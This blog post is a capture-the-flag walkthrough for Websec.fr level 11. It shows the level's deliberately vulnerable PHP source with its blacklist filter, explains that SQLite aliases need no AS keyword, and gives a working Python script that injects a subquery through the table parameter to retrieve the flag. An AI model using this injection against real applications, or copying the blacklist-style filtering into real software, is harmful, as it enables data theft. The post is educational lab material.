Post

Websec.fr level 11 - easy

The level

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

function sanitize($id, $table) {
    /* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
    if (! is_numeric ($id) or $id < 2) {
        exit("The id must be numeric, and superior to one.");
    }

    /* Rock-solid too! */
    $special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
    $special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
    $special3 = ["^", "_", "`", "{", "|", "}"];
    $sql = ["union", "0", "join", "as"];
    $blacklist = array_merge ($special1, $special2, $special3, $sql);
    foreach ($blacklist as $value) {
        if (stripos($table, $value) !== false)
            exit("Presence of '" . $value . "' detected: abort, abort, abort!\n");
    }
}

if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) {
    $id = $_POST['user_id'];
    $table = $_POST['table'];

    sanitize($id, $table);

    $pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
    $query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id;
    //$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

    $getUsers = $pdo->query($query);
    $users = $getUsers->fetchArray(SQLITE3_ASSOC);

    $userDetails = false;
    if ($users) {
        $userDetails = $users;
    $userDetails['table'] = htmlentities($table);
    }
}
?>

Ok! so we are not let to use join, union, as, or anything that is legitimate for sql injection. What will we do ?

No need for “AS” to get the actual information

In SQL aliasing, you don’t have to use as to alias. For instance, if I do

1
select 3 elad from children

it would actually be

1
select 3 as elad from children

Let’s go back to the source code

Great, so now we figured we don’t need any special words, Let’s figure out the request. The $table variable needs to be an injection of somekind, that gets the enemies. How do we know that ? there are 2 hints:

  1. They gave us what the query should actually be in the source code
    1
    2
    
     $query = 'SELECT id,username FROM ' . $table . 'WHERE id    = ' . $id;
     //$query = 'SELECT id,username,enemy FROM ' .$table . '     WHERE id = ' . $id;
    
  2. It says in the level itself “Also, I was told that super-heroes have enemies…”

What about the table name we should select from ? Well, it says in the source code of the html

1
<input type="radio" class="form-control" id="costume" name="table" value="costume" checked>

So it’s “costume

Great !!! Let’s write the request

The request

This is the code

1
2
3
4
5
6
7
8
9
10
11
from requests import *

url = "https://websec.fr/level11/index.php"

data = {
    'user_id': 2,
    'table': '(select 2 id, enemy username from costume)',
    'submit': 'submit'
}

print(post(url, data=data).text)

Simple, right? we send a post request with user_id as 2 and the query is really

1
select 2 as id, enemy as username from costume

Remember !! we need enemy as username because in the query in the source code the query being executed only picks the id, username from the table. Great !! what is the result ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
	<title>#WebSec Level Eleven</title>
	<link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
	<body>
		<div id="main">
			<div class="container">
				<div class="row">
					<h1>LevelEleven <small> - User 1 is likely <a href="https://fr.wikipedia.org/wiki/Capitaine_Flam">Cap'tain fla<s>m</s>g</a>.</small></h1>
				</div>
				<div class="row">
					<p class="lead">
						This application is used to view the username, with or without the costume, of superheroes, by id.<br>
						Also, I was told that super-heroes have <em>enemies</em>…<br>
						<br>
                        			To prevent sql injections, it uses a <em>super-efficient-blacklist-based</em> filter!<br>
                        			No more nasty <mark>UNION</mark> or <mark>JOIN</mark>.<br>
                        			Check the source <a href="./source.php">here </a>.
					</p>
				</div>
			</div>
			<div class="container">
				<div class="row">
					<form name="username" method="post" class="form-inline">
						<div class="form-group">
							<label for="user_id">User ID:</label>
							<input type="number" class="form-control" id="user_id" name="user_id" value="2" required>
						</div>
						<div class="form-group">
							<label class="radio-inline" for="costume">With costume </label>
							<input type="radio" class="form-control" id="costume" name="table" value="costume" checked>

							<label class="radio-inline" for="civil">Without costume </label>
							<input type="radio" class="form-control" id="civil" name="table" value="civil">
						</div>
						<input type="submit" class="form-control btn btn-default" name="submit">
					</form>
				</div>
								<br>
				<div class="row">
					<p class="well">
						The hero number <strong>2</strong>
						in <strong>(select 2 id, enemy username from costume)</strong>
						is <strong>WEBSEC{Who_needs_AS_anyway_when_you_have_sqlite}</strong>.
					</p>
				</div>
							</div>
		</div>
		<script type="text/javascript" src="../static/bootstrap.min.js"></script>
	</body>
</html>


Process finished with exit code 0
1
{Who_needs_AS_anyway_when_you_have_sqlite}

Thanks for reading !!!!

This post is licensed under CC BY 4.0 by the author.